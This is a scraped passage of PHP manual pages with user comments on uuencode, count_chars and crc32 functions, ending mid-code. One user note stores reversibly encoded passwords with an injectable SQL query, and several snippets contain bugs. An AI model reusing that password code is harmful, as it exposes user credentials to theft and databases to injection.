u8("Ý",208,173); u8("ß",208,175); u8("×",208,167);
u8("Ñ",208,161); u8("Ì",208,156); u8("È",208,152);
u8("Ò",208,162); u8("Ü",208,172); u8("Á",208,145);
u8("Þ",208,174); u8("¸",209,145); u8("¨",208,129);

function utf2win ($text) {
  global $c1,$c2,$w8;
  $u = false;
  $temp = "";
  for($i=0,$len=strlen($text); $i<$len; $i++) {
    $c = substr($text,$i,1);
    if ($u) {
      $c = $w8[$lc.$c];
      $temp .= isset($c)?$c:"?";
      $u = false;
    }
    else if ($c==$c1 || $c==$c2) {
      $u = true;
      $lc = $c;
    }
    else
      $temp .= $c;
  }
  return $temp;
}

$text = file("utf8.txt");
foreach($text as $line)
  echo "<br>".utf2win($line);

?>

how it works you can see on http://www.alesh.ru/lj
But there is another function iconv() (http://php.net/iconv) but not all hosters support iconv
mokvas at freemail dot org dot mk 30-Jul-2001 09:45
Not all of cyrilic characters are supported by this function. Cyrilic chars from Macedonian Alphabet like Sh, kj, dz' ,nj are not supported.
chunk_split
convert_uudecode
String Functions


Decode a uuencoded string

convert_cyr_string
convert_uuencode
String Functions
PHP Manual

convert_uudecode

(PHP 5)

convert_uudecode — Decode a uuencoded string

Description

string convert_uudecode ( string $data )

convert_uudecode() decodes a uuencoded string.

Parameters

data

The uuencoded data.

Return Values

Returns the decoded data as a string.

Examples

Example #1 convert_uudecode() example

<?php
/* Can you imagine what this will print? :) */
echo convert_uudecode("+22!L;W9E(%!(4\"$`\n`");
?>

See Also

  • convert_uuencode() - Uuencode a string

User Contributed Notes

Vipindas K.S 09-May-2008 08:58
Code snippet for retrieving Encoded passwords stored in mysql database .
Consider a file named "test.php" consisting of an input form as given below:
<html>
<body>
<form action="test.php"  method="post">
<input type="text" name="fname" id="fname"  />
<input type="password" name="password" id="password"  />
<input type="submit" name="submit" value="submit" />
</form>

<?
/*
below php code takes input field values , encode the password and then store the values in a database .
Create a table named test with fields id,name,password where id is auto incremented..
*/

if(isset($_post['submit']))
{
$fname=$_POST['fname'];
$pass=$_POST['password'];
$encoded_pass=convert_uuencode($pass);
$con=mysql_connect("your hostname","your username","your password"); //connecting to the database
$db=mysql_select_db("your_database_name",$con);
$sql="INSERT INTO test (id,name,password) VALUES('','$fname', '$encoded_pass' )";
$result=mysql_query($sql)or die("unable to insert");

/****encoding and storing ends here******/

/* Code snippet for retrieving the last inserted entry from the database and decoding starts here */

$id2=mysql_insert_id(); // id of the last entry
$sql2="select password from test where id='$id2' ";
$result2=mysql_query($sql2);
$row=mysql_fetch_array($result2);
$decoded_pass=convert_uudecode($row[0]); //decoding takes place here
echo "decoded password: ".$decoded_pass;

}

?>
</body>
</html>
aidan at php dot net 29-May-2005 08:51
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
convert_cyr_string
convert_uuencode
String Functions


Uuencode a string

convert_uudecode
count_chars
String Functions
PHP Manual

convert_uuencode

(PHP 5)

convert_uuencode — Uuencode a string

Description

string convert_uuencode ( string $data )

convert_uuencode() encodes a string using the uuencode algorithm.

Uuencode translates all strings (including binary's ones) into printable characters, making them safe for network transmissions. Uuencoded data is about 35% larger than the original.

Parameters

data

The data to be encoded.

Return Values

Returns the uuencoded data.

Examples

Example #1 convert_uuencode() example

<?php
$some_string = "test\ntext text\r\n";

echo convert_uuencode($some_string);
?>

See Also

  • convert_uudecode() - Decode a uuencoded string
  • base64_encode() - Encodes data with MIME base64

User Contributed Notes

abc518 at gmail dot com 26-Sep-2008 01:06
Using uuencode for passwords isn't any more secure than plain text (maybe slightly: non-developers or too lazy to figure out what you used). mcrypt or even md5 is much more secure.
zash at zash dot se 30-May-2008 12:30
note that using base64 or uuencode to store data in a database is pretty useless. if you properly escape your data and use a binary field (BLOB etc) there is no problem.
allali at labri dot fr 02-Apr-2008 12:06
if you want to use convert_uuencode with command uudecode you must insert a line "begin %s %s\n" at the beginning and "end\n" at the end:

<?php

echo "begin 644 hello.txt\n";
echo convert_uuencode("hello");
echo "end\n";

?>

the first arg. after begin is the mode (destination file rights), the second is the destination file name.

Then you can do a wget followed by a uudecode.

JA.
root at mantoru dot de 10-Nov-2007 09:29
@Craig's note: base64_encode() is better suited for that. In fact, it produces smaller output and operates slightly faster. I did a little benchmark -- here are my findings:

File: JPG, 631614 bytes

== Base64 ==
execution time: 0.0039639472961426 secs
output length: 842152

== UUencode ==
execution time: 0.004105806350708 secs
output length: 870226
tmaschler at NOSPAM dot ditf-denkendorf dot de 20-Sep-2006 01:46
Note to the tip of Craig at frostycoolslug dot com:

If you are using fulltext functionality on columns with uuencoded texts, collations will not work. You might prefer to pass the text escaped to the database engine.
nmmm at nmmm dot nu 12-Apr-2006 08:17
uuencode is recognisable as email attachment in Ms Outlook, but in Outlook Express (at least in older versions) - is not.

This is shell script, but it may give you an idea how you can send attachments using uuencode:

cat file.bin | uuencode file.bin | mail someone@domain.com -s "file.bin"

uuencode mail attachments from other point of wiev are deprecated. However I use such technic for years now and it work well.
aidan at php dot net 29-May-2005 08:51
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
Craig at frostycoolslug dot com 08-Aug-2004 07:15
This function can be useful if you wish to store files in a MySQL database, it will save any problems with obscure binary data breaking the queries.

just remember to convery-uudecode before you try to use the data again.

(A common example of something that uses this system, would be email attachments)
convert_uudecode
count_chars
String Functions


Return information about characters used in a string

convert_uuencode
crc32
String Functions
PHP Manual

count_chars

(PHP 4, PHP 5)

count_chars — Return information about characters used in a string

Description

mixed count_chars ( string $string [, int $mode = 0 ] )

Counts the number of occurrences of every byte-value (0..255) in string and returns it in various ways.

Parameters

string

The examined string.

mode

See return values.

Return Values

Depending on mode count_chars() returns one of the following:

  • 0 - an array with the byte-value as key and the frequency of every byte as value.
  • 1 - same as 0 but only byte-values with a frequency greater than zero are listed.
  • 2 - same as 0 but only byte-values with a frequency equal to zero are listed.
  • 3 - a string containing all unique characters is returned.
  • 4 - a string containing all not used characters is returned.

Examples

Example #1 count_chars() example

<?php
$data = "Two Ts and one F.";

foreach (count_chars($data, 1) as $i => $val) {
   echo "There were $val instance(s) of \"" , chr($i) , "\" in the string.\n";
}
?>

The above example will output:

There were 4 instance(s) of " " in the string.
There were 1 instance(s) of "." in the string.
There were 1 instance(s) of "F" in the string.
There were 2 instance(s) of "T" in the string.
There were 1 instance(s) of "a" in the string.
There were 1 instance(s) of "d" in the string.
There were 1 instance(s) of "e" in the string.
There were 2 instance(s) of "n" in the string.
There were 2 instance(s) of "o" in the string.
There were 1 instance(s) of "s" in the string.
There were 1 instance(s) of "w" in the string.

See Also

  • strpos() - Find the position of the first occurrence of a substring in a string
  • substr_count() - Count the number of substring occurrences

User Contributed Notes

phpC2007 04-Dec-2007 07:42
Here's a function to count number of strings in a string. It can be used as a simple utf8-enabled count_chars (but limited to a single mode)...

<?php
function utf8_count_strings($stringChar)
{
    $num = -1;
    $lenStringChar = strlen($stringChar);

    for ($lastPosition = 0;
        $lastPosition !== false;
        $lastPosition = strpos($textSnippet, $stringChar, $lastPosition + $lenStringChar))
    {
        $num++;
    }

    return $num;
}
?>
pzb at novell dot com 28-Jul-2007 06:29
This function is great for input validation.  I frequently need to check that all characters in a string are 7-bit ASCII (and not null).  This is the fastest function I have found yet:

<?php
function is7bit($string) {
    // empty strings are 7-bit clean
    if (!strlen($string)) {
        return true;
    }
    // count_chars returns the characters in ascending octet order
    $str = count_chars($str, 3);
    // Check for null character
    if (!ord($str[0])) {
        return false;
    }
    // Check for 8-bit character
    if (ord($str[strlen($str)-1]) & 128) {
        return false;
    }
    return true;
}
?>
Patrick Palka 10-Apr-2007 08:46
A faster unique character-checking function:

<?php
function chr_unique($string) {
  return strlen(count_chars($string, 3));
}
?>
apinpratap at gmail dot com 29-Mar-2007 10:54
this code can find each characters count

<?php
$enter = 0;
$data = strtolower ($inputString);
foreach (count_chars ($data, 1) as $i => $val)
    {
        if ($enter == 1)
        {
            $enter = 0;
            continue;
        }
        if (chr ($i) == "\n")
        {
            echo "There are $val instance(s) of \" Enter \" in the string.\n";
            $enter = 1;
        }
        else
        {
            echo "There are $val instance(s) of \"" , chr ($i) , "\" in the string.\n";
        }
    }
?>
Eric Pecoraro 27-May-2005 07:31
<?php

// Require (n) unique characters in a string
// Modification of a function below which ads some flexibility in how many unique characters are required in a given string.

$pass = '123456' ; // true
$pass = '111222' ; // false

req_unique($pass,3);

function req_unique($string,$unique=3) {
    if ( count(count_chars($string,1)) < $unique) {
        echo 'false';
    }else{
        echo 'true';
    }
}

?>
Alex Gemmell 14-Feb-2005 10:03
Use: Great for checking for unique characters in a password.

I wanted to check that my website users, when registering a user account, chose a "valid" (not-so-easily-guessed) password.

One of the many checks was that the password must have 6 unique characters.  I was tying myself in knots with all kinds of recursive array calling when I was offered this wonderful one line solution:

function check_password($password) {

   #Have 6 unique characters
   if (count(count_chars($password, 1)) < 6) return false;

   #
   # other checks returning false as necessary
   #
   #

   return true;
}

I cannot claim this wonderful line for myself - a Mr Lynch suggested this to me.  Thanks!
seb at synchrocide dot net 16-May-2004 03:08
After much trial and error trying to create a function that finds the number of unique characters in a string I same across count_chars() - my 20+ lines of useless code were wiped for this:

<?
function unichar($string) {
$two= strtolower(str_replace(' ', '', $string));
$res = count(count_chars($two, 1));
return $res;
}

/* examples :: */

echo unichar("bob"); // 2
echo unichar("Invisibility"); //8
echo unichar("The quick brown fox slyly jumped over the lazy dog"); //26

?>

I have no idea where this could be used, but it's quite fun
mlong at mlong dot org 29-Jan-2002 04:27
// Usefulness of the two functions

<?php
 $string="aaabbc";

 // You just want to count the letter a
 $acount=substr_count($string,"a");

 // You want to count both letter a and letter b
 $counts=count_chars($string,0);
 $acount=$counts[ord("a")];
 $bcount=$counts[ord("b")];
?>
maotin at hongkong dot com 31-Jan-2001 05:04
Here are some more experiments on this relatively new and extremely handy function.

<?php
$string = 'I have never seen ANYTHING like that before! My number is "4670-9394".';

foreach(count_chars($string, 1) as $chr => $hit)
echo 'The character '.chr(34).chr($chr).chr(34).' has appeared in this string '.$hit.' times.<BR>';

#The result looks like
#The character " " has appeared in this string 11 times.

echo count_chars($string,3);
#The output is '!"-.034679AGHIMNTYabefhiklmnorstuvy'

echo strlen($string).' is not the same as '.strlen(count_chars($string, 3));

#This shows that '70 is not the same as 36'
?>

As we can see above:

1)If you cares only about what is in the string, use count_chars($string, 1) and it will return an (associative?) array of what shows up only.

2) Either I misunderstood what the manul actually said, or it does not work the way it described: count_chars($strting, 3) actually returned a string of what characters are in the string, not a string of their byte-values (which is great because a string of numbers would be much harder to handle);

3)This is a short version of password checking: get the original string's length, then compare with the length of the string returned by count_chars($string,3).

<?php
$length_of_string = strlen($string);
$num_of_chars = strlen(count_chars($string, 3));

$diff = ($length_of_string - $num_of_chars);

if ($diff)
echo 'At least one character has been used more than once.';
else
echo 'All character have been used only once.;
?>

Note that since $num_of_chars gives no information about the actual number of occurance, we cannot go any further by the same rationale and say when $diff =2 then 2 characters showed up twice; it might be 1 character showd up 3 times, we have no way to tell (a good tolerance level setter, though).  You have to get the array and check the values if you want to have more control.

4) Final trick: now we have a primitive way to count the number of words in a string! (or do we have a fuction for that already?)
convert_uuencode
crc32
String Functions


Calculates the crc32 polynomial of a string

count_chars
crypt
String Functions
PHP Manual

crc32

(PHP 4 >= 4.0.1, PHP 5)

crc32 — Calculates the crc32 polynomial of a string

Description

int crc32 ( string $str )

Generates the cyclic redundancy checksum polynomial of 32-bit lengths of the str. This is usually used to validate the integrity of data being transmitted.

Because PHP's integer type is signed, and many crc32 checksums will result in negative integers, you need to use the "%u" formatter of sprintf() or printf() to get the string representation of the unsigned crc32 checksum.

Parameters

str

The data.

Return Values

Returns the crc32 checksum of str as an integer.

Examples

Example #1 Displaying a crc32 checksum

This example shows how to print a converted checksum with the printf() function:

<?php
$checksum = crc32("The quick brown fox jumped over the lazy dog.");
printf("%u\n", $checksum);
?>

See Also

  • md5() - Calculate the md5 hash of a string
  • sha1() - Calculate the sha1 hash of a string

User Contributed Notes

alban dot lopez+php [ at ] gmail dot com 26-Nov-2011 06:02
I made this code to verify Transmition with Vantage Pro2 ( weather station ) based on CRC16-CCITT standard.

<?php
// CRC16-CCITT validator
$crc_table = array(
    0x0,  0x1021,  0x2042,  0x3063,  0x4084,  0x50a5,  0x60c6,  0x70e7,
        0x8108,  0x9129,  0xa14a,  0xb16b,  0xc18c,  0xd1ad,  0xe1ce,  0xf1ef,
        0x1231,  0x210,  0x3273,  0x2252,  0x52b5,  0x4294,  0x72f7,  0x62d6,
        0x9339,  0x8318,  0xb37b,  0xa35a,  0xd3bd,  0xc39c,  0xf3ff,  0xe3de,
        0x2462,  0x3443,  0x420,  0x1401,  0x64e6,  0x74c7,  0x44a4,  0x5485,
        0xa56a,  0xb54b,  0x8528,  0x9509,  0xe5ee,  0xf5cf,  0xc5ac,  0xd58d,
        0x3653,  0x2672,  0x1611,  0x630,  0x76d7,  0x66f6,  0x5695,  0x46b4,
        0xb75b,  0xa77a,  0x9719,  0x8738,  0xf7df,  0xe7fe,  0xd79d,  0xc7bc,
        0x48c4,  0x58e5,  0x6886,  0x78a7,  0x840,  0x1861,  0x2802,  0x3823,
        0xc9cc,  0xd9ed,  0xe98e,  0xf9af,  0x8948,  0x9969,  0xa90a,  0xb92b,
        0x5af5,  0x4ad4,  0x7ab7,  0x6a96,  0x1a71,  0xa50,  0x3a33,  0x2a12,
        0xdbfd,  0xcbdc,  0xfbbf,  0xeb9e,  0x9b79,  0x8b58,  0xbb3b,  0xab1a,
        0x6ca6,  0x7c87,  0x4ce4,  0x5cc5,  0x2c22,  0x3c03,  0xc60,  0x1c41,
        0xedae,  0xfd8f,  0xcdec,  0xddcd,  0xad2a,  0xbd0b,  0x8d68,  0x9d49,
        0x7e97,  0x6eb6,  0x5ed5,  0x4ef4,  0x3e13,  0x2e32,  0x1e51,  0xe70,
        0xff9f,  0xefbe,  0xdfdd,  0xcffc,  0xbf1b,  0xaf3a,  0x9f59,  0x8f78,
        0x9188,  0x81a9,  0xb1ca,  0xa1eb,  0xd10c,  0xc12d,  0xf14e,  0xe16f,
        0x1080,  0xa1,  0x30c2,  0x20e3,  0x5004,  0x4025,  0x7046,  0x6067,
        0x83b9,  0x9398,  0xa3fb,  0xb3da,  0xc33d,  0xd31c,  0xe37f,  0xf35e,
        0x2b1,  0x1290,  0x22f3,  0x32d2,  0x4235,  0x5214,  0x6277,  0x7256,
        0xb5ea,  0xa5cb,  0x95a8,  0x8589,  0xf56e,  0xe54f,  0xd52c,  0xc50d,
        0x34e2,  0x24c3,  0x14a0,  0x481,  0x7466,  0x6447,  0x5424,  0x4405,
        0xa7db,  0xb7fa,  0x8799,  0x97b8,  0xe75f,  0xf77e,  0xc71d,  0xd73c,
        0x26d3,  0x36f2,  0x691,  0x16b0,  0x6657,  0x7676,  0x4615,  0x5634,
        0xd94c,  0xc96d,  0xf90e,  0xe92f,  0x99c8,  0x89e9,  0xb98a,  0xa9ab,
        0x5844,  0x4865,  0x7806,  0x6827,  0x18c0,  0x8e1,  0x3882,  0x28a3,
        0xcb7d,  0xdb5c,  0xeb3f,  0xfb1e,  0x8bf9,  0x9bd8,  0xabbb,  0xbb9a,
        0x4a75,  0x5a54,  0x6a37,  0x7a16,  0xaf1,  0x1ad0,  0x2ab3,  0x3a92,
        0xfd2e,  0xed0f,  0xdd6c,  0xcd4d,  0xbdaa,  0xad8b,  0x9de8,  0x8dc9,
        0x7c26,  0x6c07,  0x5c64,  0x4c45,  0x3ca2,  0x2c83,  0x1ce0,  0xcc1,
        0xef1f,  0xff3e,  0xcf5d,  0xdf7c,  0xaf9b,  0xbfba,  0x8fd9,  0x9ff8,
        0x6e17,  0x7e36,  0x4e55,  0x5e74,  0x2e93,  0x3eb2,  0xed1,  0x1ef0);

    $test = chr(0xC6).chr(0xCE).chr(0xA2).chr(0x03); // CRC16-CCITT = 0xE2B4
    genCRC ($test);

function genCRC (&$ptr)
{
    $crc = 0x0000;
    $crc_table = $GLOBALS['crc_table'];
    for ($i = 0; $i < strlen($ptr); $i++)
        $crc =  $crc_table[(($crc>>8) ^ ord($ptr[$i]))] ^ (($crc<<8) & 0x00FFFF);
    return $crc;
}
?>
arris at zsolttech dot com 19-Oct-2011 05:17
not found anywhere crc64 based on http://bioinfadmin.cs.ucl.ac.uk/downloads/crc64/crc64.c .

(use gmp module)

<?php

/* OLDCRC */
define('POLY64REV', "d800000000000000");
define('INITIALCRC', "0000000000000000");
define('TABLELEN', 256);
/* NEWCRC */
// define('POLY64REV', "95AC9329AC4BC9B5");
// define('INITIALCRC', "FFFFFFFFFFFFFFFF");

if(function_exists('gmp_init')){
        class CRC64{

                private static $CRCTable = array();

                public static function encode($seq){

                        $crc = gmp_init(INITIALCRC, 16);
                        $init = FALSE;
                        $poly64rev = gmp_init(POLY64REV, 16);

                        if (!$init)
                        {
                                $init = TRUE;
                                for ($i = 0; $i < TABLELEN; $i++)
                                {
                                        $part = gmp_init($i, 10);
                                        for ($j = 0; $j < 8; $j++)
                                        {
                                                if (gmp_strval(gmp_and($part, "0x1")) != "0"){
                                                        // if (gmp_testbit($part, 1)){ /* PHP 5 >= 5.3.0, untested */
                                                        $part = gmp_xor(gmp_div_q($part, "2"), $poly64rev);
                                                } else {
                                                        $part = gmp_div_q($part, "2");
                                                }
                                        }
                                        self::$CRCTable[$i] = $part;
                                }
                        }

                        for($k = 0; $k < strlen($seq); $k++){
                                $tmp_gmp_val = gmp_init(ord($seq[$k]), 10);
                                $tableindex = gmp_xor(gmp_and($crc, "0xff"), $tmp_gmp_val);
                                $crc = gmp_div_q($crc, "256");
                                $crc = gmp_xor($crc, self::$CRCTable[gmp_strval($tableindex, 10)]);
                        }

                        $res = gmp_strval($crc, 16);

                        return $res;
                }
        }
} else {
        die("Please install php-gmp package!!!");
}
?>
sukitsupaluk at hotmail dot com 08-Sep-2011 03:04
small sample convert crc32 to character map

<?php

function khash($data) {
    static $map="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $hash=crc32($data)+0x100000000;
    $str = "";
    do {
        $str = $map[31+ ($hash % 31)] . $str;
        $hash /= 31;
    } while($hash >= 1);
    return $str;
}
$test= array(null,TRUE,FALSE,0,"0",1,"1","2","3","ab","abc","abcd","abcde","abcdefoo");
$out = array();
foreach($test as $s)
{
    $out[]=khash($s).": ". $s;
}
var_dump($out);

/*
output:
array
  0 => string 'zVvOYTv: ' (length=9)
  1 => string 'xKDKKL8: 1' (length=10)
  2 => string 'zVvOYTv: ' (length=9)
  3 => string 'zOKCQxh: 0' (length=10)
  4 => string 'zOKCQxh: 0' (length=10)
  5 => string 'xKDKKL8: 1' (length=10)
  6 => string 'xKDKKL8: 1' (length=10)
  7 => string 'AFSzIAO: 2' (length=10)
  8 => string 'BXGSvQJ: 3' (length=10)
  9 => string 'xZWOQSu: ab' (length=11)
  10 => string 'AVAwHOR: abc' (length=12)
  11 => string 'zKASNE1: abcd' (length=13)
  12 => string 'xLCTOV7: abcde' (length=14)
  13 => string 'zQLzKMt: abcdefoo' (length=17)

*/

?>
chernyshevsky at hotmail dot com 22-Sep-2010 03:54
The crc32_combine() function provided by petteri at qred dot fi has a bug that causes an infinite loop, a shift operation on a 32-bit signed int might never reach zero. Replacing the function gf2_matrix_times() with the following seems to fix it:

<?php
function gf2_matrix_times($mat, $vec)
{
    $sum=0;
    $i=0;

    while ($vec) {
        if ($vec & 1) {
            $sum ^= $mat[$i];
        }
        $vec = ($vec >> 1) & 0x7FFFFFFF;
        $i++;
    }
    return $sum;
}
?>

Otherwise, it's probably the best solution if you can't use hash_file(). Using a 1meg read buffer, the function only takes twice as long to process a 300meg files than hash_file() in my test.
gabri dot ns at gmail dot com 15-Sep-2010 10:05
if you are looking for a fast function to hash a file, take a look at
http://www.php.net/manual/en/function.hash-file.php
this is crc32 file checker based on a CRC32 guide
it have performance at ~ 625 KB/s on my 2.2GHz Turion
far slower than hash_file('crc32b','filename.ext')
<?php
function crc32_file ($filename)
{
   $f = @fopen($filename,'rb');
   if (!$f) return false;

   static $CRC32Table, $Reflect8Table;
   if (!isset($CRC32Table))
   {
      $Polynomial = 0x04c11db7;
      $topBit = 1 << 31;

      for($i = 0; $i < 256; $i++)
      {
         $remainder = $i << 24;
         for ($j = 0; $j < 8; $j++)
         {
            if ($remainder & $topBit)
               $remainder = ($remainder << 1) ^ $Polynomial;
            else $remainder = $remainder << 1;
         }

         $CRC32Table[$i] = $remainder;

         if (isset($Reflect8Table[$i])) continue;
         $str = str_pad(decbin($i), 8, '0', STR_PAD_LEFT);
         $num = bindec(strrev($str));
         $Reflect8Table[$i] = $num;
         $Reflect8Table[$num] = $i;
      }
   }

   $remainder = 0xffffffff;
   while ($data = fread($f,1024))
   {
      $len = strlen($data);
      for ($i = 0; $i < $len; $i++)
      {
         $byte = $Reflect8Table[ord($data[$i])];
         $index = (($remainder >> 24) & 0xff) ^ $byte;
         $crc = $CRC32Table[$index];
         $remainder = ($remainder << 8) ^ $crc;
      }
   }

   $str = decbin($remainder);
   $str = str_pad($str, 32, '0', STR_PAD_LEFT);
   $remainder = bindec(strrev($str));
   return $remainder ^ 0xffffffff;
}
?>

<?php
$a = microtime();
echo dechex(crc32_file('filename.ext'))."\n";
$b = microtime();
echo array_sum(explode(' ',$b)) - array_sum(explode(' ',$a))."\n";
?>
Output:
ec7369fe
2.384134054184 (or similiar)
carlos at dimension-e dot net 26-Aug-2010 07:36
This crc32 issue on 64 bits servers may not be a bug, but for sure it wracks many applications when the server migrates to a linux 64 bit machine.

For example, many database fields are set to accept signed 32 bits integers. This odd behavior makes those fields to be filled with the 2147483647 value, which es the higest possible number to be saved in this type of field.

It seems the PHP team regards this as a operative system issue, rather than a language issue, but the result is just the same: You just can not rely on this for data comparison between machines.
jian at theorchard dot com 17-Feb-2010 10:13
This function returns an unsigned integer from a 64-bit Linux platform.  It does return the signed integer from other 32-bit platforms even a 64-bit Windows one.

The reason is because the two constants PHP_INT_SIZE and PHP_INT_MAX have different values on the 64-bit Linux platform.

I've created a work-around function to handle this situation.

<?php
function get_signed_int($in) {
    $int_max = pow(2, 31)-1;
    if ($in > $int_max){
        $out = $in - $int_max * 2 - 2;
    }
    else {
        $out = $in;
    }
    return $out;
}
?>

Hope this helps.
berna (at) gensis (dot) com (dot) br 29-Sep-2009 08:16
For those who want a more familiar return value for the function:

<?php
function strcrc32($text) {
  $crc = crc32($text);
  if ($crc & 0x80000000) {
    $crc ^= 0xffffffff;
    $crc += 1;
    $crc = -$crc;
  }
  return $crc;
}
?>

And to show the result in Hex string:

<?php
function int32_to_hex($value) {
  $value &= 0xffffffff;
  return str_pad(strtoupper(dechex($value)), 8, "0", STR_PAD_LEFT);
}
?>
Anonymous 16-Jul-2009 01:26
<?php
  echo crc32('example')+4294967296;
?>

gives you the same result as the CRC32() function in MySQL (>=4.1)

"SELECT CRC32('example')"

vice versa

"SELECT CRC32('example')-4294967296"

in MySQL gives you the same result as:

<?php
  echo  crc32('example');
?>
angelo (at) mandato (period) com 18-Jan-2008 06:54
From my tests noted below, md5_file() function is the best function for performing file verification. This will remain the case until a native crc32_file() function is added to PHP.

file_crc() function that Bulk at bulksplace dot com posted is the most efficient solution on Windows for small and medium size files.  It is most likely because file_get_contents() uses memory mapping techniques.  Unfortunately on Linux (Fedora), the results were slightly better for md5_file().

sha1_file() on large files is slower than md5_file().  The time it takes for the __crc32_file() function found below is linear to the size of the file.  I would avoid using __crc32_file().  The file_crc() function will fail when using the file_get_contents() if the file is larger than the PHP.ini memory_limit setting.  Windows does not seem to use the memory_limit for file_get_contents(), but I did run into an error 'FATAL: emalloc(): Unable to allocate x bytes' when testing iso files.

I ran the following tests on both WindowsXP and Fedora 4 machines.

<?php
   // File verification tests by Angelo Mandato (angelo [at] mandato {period} com)

   // __crc32_file() is very slow, you can uncomment to test for yourself.
   //require_once('crc32_file.php');
   // Copy and paste the contents of the crc32_file() code found on
   // the php.net crc32 PHP manual page in a new file and save
   // as crc32_file.php in the same directory as this script.

   // Get microseconds
   function GetMicrotime()
   {
       list($usec, $sec) = explode(" ", microtime());
       return ((float)$usec + (float)$sec);
   }

   // file_crc() - function to test
   function file_crc($file)
   {
       $file_string = file_get_contents($file);
       $crc = crc32($file_string);
       return sprintf("%u", $crc);
   }

   $Methods = array('sha1_file()', 'md5_file()', 'file_crc()');
   if( function_exists('__crc32_file') )
       $Methods[] = '__crc32_file()';
   $directory = '/path/to/directory/'; // Don't forget trailing backslash.
   $files = scandir($directory);

   for( $method_index = 0; $method_index < count($Methods); $method_index++ )
   {
       $start_time = GetMicrotime();
       while( list($index,$file) = each($files) )
       {
           if( $file != '.' && $file != '..' && is_file($directory.$file) )
           {
               switch( $method_index )
               {
                   case 0: { // sha1_file()
                       $value = sha1_file($directory.$file);
                   }; break;
                   case 1: { // md5_file()
                       $value = md5_file($directory.$file);
                   }; break;
                   case 2: { // file_crc()
                       $value = file_crc($directory.$file);
                   }; break;
                   case 3: { // __crc32_file()
                       $value = __crc32_file($directory.$file);
                   }; break;
               }
           }
           else // It is not part of our test results, lets remove it from the array
           {
               unset($files[$index]);
           }
       }
       $end_time = GetMicrotime();
       echo sprintf("%s took %.03f seconds to calculate %d files.\n", $Methods[$method_index], $end_time-$start_time, count($files) );
       reset($files); // Reset pointer in array
   }
   echo "file verification tests completed.\n";
?>

It would be nice if a crc32_file() function was added to PHP natively.

I am not sure why anyone removed this post from this thread, but this is very useful information. and I believe it should remain.  If you're the moderator and deleted this before, please contact me and explain why it was removed. This is not a question, a report of a bug nor a feature request.  This is factual information that is useful to all.
dave at jufer dot info 03-Dec-2007 02:15
This function returns the same int value on a 64 bit mc. like the crc32() function on a 32 bit mc.

<?php
function crcKw($num){
    $crc = crc32($num);
    if($crc & 0x80000000){
        $crc ^= 0xffffffff;
        $crc += 1;
        $crc = -$crc;
    }
    return $crc;
}
?>
Ren 03-Oct-2007 11:53
Dealing with 32 bit unsigned values overflowing 32 bit php signed values can be done by adding 0x10000000 to any unexpected negative result, rather than using sprintf.

$i = crc32('1');
printf("%u\n", $i);
if (0 > $i)
{
    // Implicitly casts i as float, and corrects this sign.
    $i += 0x100000000;
}
var_dump($i);

Outputs:

2212294583
float(2212294583)
petteri at qred dot fi 28-Jun-2007 11:03
If you have php version<5.1.2 you might use this.
It's a little bit faster than __crc32_file() :)

Ps. crc32_combine() is ported directly from zlib.

<?php
function crc32_file($filename)
{
    $fp=fopen($filename, "rb");
    $old_crc=false;

    if ($fp != false) {
        $buffer = '';

        while (!feof($fp)) {
            $buffer=fread($fp, 10485760);
            $len=strlen($buffer);
            $t=crc32($buffer);

            if ($old_crc) {
                $crc32=crc32_combine($old_crc, $t, $len);
                $old_crc=$crc32;
            } else {
                $crc32=$old_crc=$t;
            }
        }
        fclose($fp);
    } else {
        print "Cannot open file\n";
    }

    return $crc32;
}

function crc32_combine($crc1, $crc2, $len2)
{
    $odd[0]=0xedb88320;
    $row=1;

    for($n=1;$n<32;$n++) {
        $odd[$n]=$row;
        $row<<=1;
    }

    gf2_matrix_square($even,$odd);
    gf2_matrix_square($odd,$even);

    do {
        /* apply zeros operator for this bit of len2 */
        gf2_matrix_square($even, $odd);

        if ($len2 & 1)
            $crc1=gf2_matrix_times($even, $crc1);

        $len2>>=1;

        /* if no more bits set, then done */
        if ($len2==0)
            break;

        /* another iteration of the loop with odd and even swapped */
        gf2_matrix_square($odd, $even);
        if ($len2 & 1)
            $crc1=gf2_matrix_times($odd, $crc1);
        $len2>>= 1;

    } while ($len2 != 0);

    $crc1 ^= $crc2;
    return $crc1;
}

function gf2_matrix_square(&$square, &$mat)
{
    for ($n=0;$n<32;$n++) {
        $square[$n]=gf2_matrix_times($mat, $mat[$n]);
    }
}

function gf2_matrix_times($mat, $vec)
{
    $sum=0;
    $i=0;
    while ($vec) {
        if ($vec & 1) {
            $sum ^= $mat[$i];
        }
        $vec>>= 1;
        $i++;
    }
    return $sum;
}
?>
slimshady451 20-Jun-2007 02:14
I see a lot of function for crc32_file, but for php version >= 5.1.2 don't forget you can use this :

<?php
function crc32_file($filename)
{
    return hash_file ('CRC32', $filename , FALSE );
}
?>

Using crc32(file_get_contents($filename)) will use too many memory on big file so don't use it.
mail at tristansmis dot nl 30-May-2007 01:36
I used the abs value of this function on a 32-bit system. When porting the code to a 64-bit system I’ve found that the value is different. The following code has the same outcome on both systems.
<?php

   $crc = abs(crc32($string));
   if( $crc & 0x80000000){
      $crc ^= 0xffffffff;
      $crc += 1;
   }

   /* Old solution
    * $crc = abs(crc32($string))
    */

?>
roberto at spadim dot com dot br 07-Apr-2006 09:52
MODBUS RTU, CRC16,
input-> modbus rtu string
output -> 2bytes string, in correct modbus order

<?php
function crc16($string,$length=0){

    $auchCRCHi=array(    0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
                0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0,
                0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01,
                0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41,
                0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81,
